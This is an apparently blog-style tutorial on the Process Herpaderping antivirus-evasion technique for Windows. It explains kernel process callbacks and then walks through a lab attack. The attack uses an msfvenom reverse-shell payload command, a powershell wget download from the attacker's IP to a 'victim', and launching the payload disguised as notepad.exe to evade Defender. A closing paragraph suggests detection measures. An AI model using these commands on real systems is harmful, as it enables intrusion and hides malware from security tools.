Process Herpadering Technique: Understanding How Attackers Hide Processes from Antiviruses
Hackers, pentesters, and red team members are constantly trying to avoid antivirus payload detection. There are various techniques for this – Herpaderping, Ghosting, Hollowing and Doppelgänging. In this article, we will analyze only one of them – Process Herpaderping.
A bit of theory: how does the antivirus know that a process has been launched on the system?
In order to hide something from the antivirus, we need to understand how it knows about the launch of a process on the system. Most antivirus software calls the PsSetCreateProcessNotifyRoutine kernel function to obtain information about the creation and termination of processes in the Windows kernel. When a process is created or terminated, PsSetCreateProcessNotifyRoutine generates an appropriate notification. In the future, the antivirus uses the received information about the processes to track system activity and protect critical resources. However, the verification of the received information begins only when the first thread of the corresponding process is initiated, and not when its object is created. This allows attackers to create and map a process, then modify the contents of the file, and then create the first thread.
Now about the most interesting – Process Herpaderping
Process Herpaderping is used to bypass anti-virus and security mechanisms by modifying the contents of a file after it has been mapped to memory, but before the first thread is initiated. Because of this, the antivirus cannot understand whether to continue the process or stop it, because the underlying file has already changed.
How to create the desired process?
Consider creating a process step by step:
- We create the executable file we need, keep its descriptor (handle) open.
- Create an image section with NtCreateSection that has the SEC_IMAGE flag set. Image section is a special section and serves to display a file (or part of a file) into memory. The section corresponds to PE files and can only be created in them.
- We copy our payload and then use the previously opened file descriptor to push the payload into memory. In this case, you need to change the contents of the original executable file by inserting something legitimate there.
- Create an initial thread with NtCreateThreadEx. At this point, the process creation callback (PsSetCreateProcessNotifyRoutineEx) in the kernel will fire. The difference between the content in the executable file and in the image section will not let the antivirus know whether this process can be allowed to run.
- After that we close the handle with IRP_MJ_CLEANUP so that everything works properly.
How to implement Process Herpaderping yourself?
To make everything work as it should, we copy the project from GitHub and assemble it in a convenient compiler (we use Visual Studio 2022).
git submodule update –init –recursive
Copying the project
Then we execute the command:
ProcessHerpaderping.exe [название файла с полезной нагрузкой] [название целевого исполняемого файла]
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1234 -f exe > payload.exe
After that, we pass the executable file and payload to the victim:
powershell wget 192.168.0.89/payload.exe -O payload.exe
After successfully transferring the payload, we run the Process Herpaderping executable to run our payload, hiding it under the guise of another executable, such as notepad.exe:
ProcessHerpaderping.exe payload.exe notepad.exe
As you can see, we got a reverse shell on port 1234. This means that everything went well!
If we look at the attack from the victim, we will see suspicious child processes spawned from legitimate executables. In our case, cmd.exe is a child process of notepad.exe. Moreover, Microsoft Defender does not react to this in any way!
In this article, we discussed bypassing antivirus protection using Process Herpaderping. To avoid being attacked using this technique, configure your antivirus software signatures to detect and analyze the behavior of the IRP_MJ_CLEANUP and NtCreateProcessEx functions. It’s also worth using PsSetCreateThreadNotifyRoutineEx because the first function gets the callback before the thread is executed.